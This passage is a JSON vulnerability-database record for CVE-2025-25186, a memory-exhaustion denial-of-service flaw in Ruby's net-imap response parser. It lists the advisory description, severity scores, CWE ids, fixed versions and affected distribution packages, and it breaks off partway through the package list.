{"id":"CVE-2025-25186","aliases":["ALSA-2025:10217","ALSA-2025:8131","AZL-56555","BELL-CVE-2025-25186","DEBIAN-CVE-2025-25186","EUVD-2025-4076","GHSA-7fc5-f82f-cx69","MGASA-2025-0290","OESA-2025-1195","OESA-2025-1196","RHSA-2025:10217","RHSA-2025:4493","RHSA-2025:8131","RLSA-2025:10217","RLSA-2025:4493","RLSA-2025:8131","UBUNTU-CVE-2025-25186","USN-7418-1"],"status":"published","title":"Net::IMAP vulnerable to possible DoS by memory exhaustion","description":"Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00626,"percentile":0.50467,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1287","CWE-400","CWE-405","CWE-409","CWE-770","CWE-789"],"published":"2025-02-10T15:55:56Z","modified":"2026-10-31T15:02:25Z","fixes":[{"ecosystem":"RubyGems","package":"net-imap","fixed_in":["0.3.8","0.4.19","0.5.6"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"ruby","fixed_in":["3.3.5-3"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"ruby-net-imap","fixed_in":["0.5.6-r0"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"ruby3.3","fixed_in":["3.3.8-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby3.3","fixed_in":["3.3.8-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"ruby","fixed_in":["3.2.2-148.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"ruby","fixed_in":["3.2.2-148.oe2403sp1"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"ruby3.2","fixed_in":["3.2.3-1ubuntu0.24.04.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.2"},{"fixed":"0.3.8"}]}]},{"source":"ghsa","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"fixed":"0.4.19"}]}]},{"source":"ghsa","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.0"},{"fixed":"0.5.6"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"ruby-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-abrt-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.0-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-bigdecimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.22-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-io-console","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.1-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.1-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.2-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.20.0-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.5-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-mysql2-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.5-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.4-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-pg-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.4-1.module_el8.10.0+3799+191214cc"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.3-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-psych","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.2-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-racc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.3-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.1.0-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-rbs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.0-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.3.1-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.9-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.1-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.6.1-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygem-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.9-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.22-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"rubygems-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.22-4.module_el8.10.0+4022+8b66723c"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"ruby-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"ruby-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.13.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.20.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.3-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.1.0-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.3.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.9-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.6.1-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygem-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.9-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"rubygems-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.22-10.el10_0"}]}],"bundled":3},{"source":"osv","ecosystem":"Azure Linux:3","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.5-3"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"ruby-net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.8-r0"},{"fixed":"0.5.6-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby3.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.2-7","3.1.2-7+deb12u1","3.1.2-7+hurd.1","3.1.2-8","3.1.2-8.1~exp1","3.1.2-8.3","3.1.2-8.4","3.1.2-8.5"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby3.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"ruby3.3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.8-1"}]}]},{"source":"osv","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.2"},{"fixed":"0.3.8"}]}],"versions":["0.3.2","0.3.3","0.3.4","0.3.4.1","0.3.5","0.3.6","0.3.7"]},{"source":"osv","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"fixed":"0.4.19"}]}],"versions":["0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.9.1"]},{"source":"osv","ecosystem":"RubyGems","package":"net-imap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.0"},{"fixed":"0.5.6"}]}],"versions":["0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5"]},{"source":"osv","ecosystem":"Mageia:9","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-47.mga9"}]}],"bundled":4},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-148.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-148.oe2403sp1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-bundled-gems-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"ruby-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-abrt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-abrt-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.4.0-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-bigdecimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-bigdecimal-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.22-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-io-console","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-io-console-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.7.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-irb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.13.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-json-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.2-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-minitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.20.0-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-mysql2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-mysql2-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-mysql2-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-mysql2-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.5.5-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-pg-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-pg-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-pg-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-1.module+el8.10.0+21226+b78a28c4"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-power_assert","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.3-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-psych","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-psych-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.2-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-racc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-racc-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.3-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rake","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.0-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rbs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rbs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.0-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rdoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.3.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rexml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.9-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.3.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-test-unit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.1-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygem-typeprof","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.21.9-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"rubygems-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.5.22-4.module+el8.10.0+23024+a87ba659"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-bundled-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-bundled-gems-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-default-gems","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"ruby-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.3.8-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-bigdecimal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-bigdecimal-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.5-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"rubygem-bundler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.22-4.module+el9.5.0+23030+26c9b8e1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red 